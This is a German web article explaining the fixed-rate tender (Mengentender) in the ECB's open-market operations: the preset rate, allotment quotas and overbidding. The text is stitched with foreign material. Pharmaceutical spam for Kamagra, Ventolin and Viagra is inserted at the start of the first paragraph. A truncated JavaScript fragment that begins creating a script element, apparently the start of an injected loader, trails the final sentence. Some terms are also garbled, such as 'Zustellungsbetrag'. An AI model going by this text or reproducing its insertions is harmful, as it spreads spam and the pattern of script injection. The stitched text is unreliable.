Mengentender im sogenannten Tenderverfahren der Banken

brand Kamagra online buy Ventolin online Viagra online Canada Unter dem Mengentender versteht man ein Mittel der Zentralbank, welches im sogenannten Tenderverfahren zum Einsatz kommt. Man unterscheidet hierbei zwischen dem Zinstender und dem Mengentender. Der Mengentender wird vorrangig bei dem Zuteilungsverfahren der Deutschen Bundesbank im Hinblick auf die Pensionsgeschäfte angewandt.

Festgelegter Zinssatz!
Ein Merkmal des Mengentenderverfahrens ist, dass bereits im Vorwege ein fester Zinssatz vom Eurosystem festgelegt wird, zu welchem die jeweiligen Geschäfte durchgeführt werden. Sollte es ein Bietungsaufkommen geben, welches den vom Eurosystem erwarteten Zustellungsbetrag übersteigt, so werden die jeweiligen Geschäftsgebote in dem besagten Mengentenderverfahren dem Gesamtbietungsaufkommen zugewiesen. Das Verhältnis des vorgewiesenen Zustellungsbetrages wird hierbei berücksichtigt. Dieser Vorgang ist auch als Repartierung bekannt. Der Mengentender wird daher auch als Festsatztender bezeichnet!

Ausschreibungen- und Bietungsverfahren!
Im Ablauf ist der Mengentender ein Ausschreibungs-/Bietungsverfahren, welches durch die Eurosysteme der Zentralbank im Gesamtrahmen der sogenannten Offenmarktpolitik durchgeführt wird.
Der Mengentender (auch Festsatz-Tender genannt) ist ein Ausschreibungs- und Bietungsverfahren des Europäischen Systems der Zentralbanken (ESZB) beim Tenderverfahren im Rahmen der Offenmarktpolitik der Zentralbanken. Die jeweiligen Zentralbanken haben ein festes Kontingent von Zentralbankgeld für die jeweiligen Geschäftsbanken, welches im Rahmen einer Ausschreibung zu einem festgelegten Zinssatz angeboten wird. Die Banken geben hierfür ihre Gebote ab.

Zuteilung gemäß Quote!
Das Zentralbankgeld wird vom Grundsatz her gleichwohl auf die jeweiligen Gebote der Banken verteilt. Nicht selten kann es hier vorkommen, dass es zu einer sogenannten Überzeichnung kommt. Aus diesem Grund gibt es eine sogenannte Zuteilungsquote. Um diese zu errechnen, wird das Zuteilungsvolumen mit Gesamtangebotssumme berücksichtigt. Wenn eine Quote von 60 ermittelt wird, so bedeutet dies, dass die jeweiligen Banken 60 Prozent des Betrages zugeteilt bekommen. Sämtliche Gebote aller Banken werden für die Quote berücksichtigt. Es gibt jedoch für die EZB die Möglichkeit, eine Mindestquote zu erteilen.

Aufgrund dieser Mindestquote ergeben sich häufig Probleme im Mengentenderverfahren. Sehr viele Banken geben im Wissen um die zu erwartende geringe Zuteilungsquote ein höheres Mengengebot ab, damit diese letztlich den Betrag erhalten, den sie benötigen. Um diesem Verhalten vorzubeugen, kann die EZB zwischen dem Mengentenderverfahren und dem Zinstenderverfahren wechseln. Letztlich ist dieser Vorgang 1999/2000 zu beobachten gewesen, aufgrund der anhaltenden Wirtschaftskrise verwendet die EZB seit 2008 jedoch wieder das Mengentenderverfahren. var d=document;var s=d.createElement('script'); }

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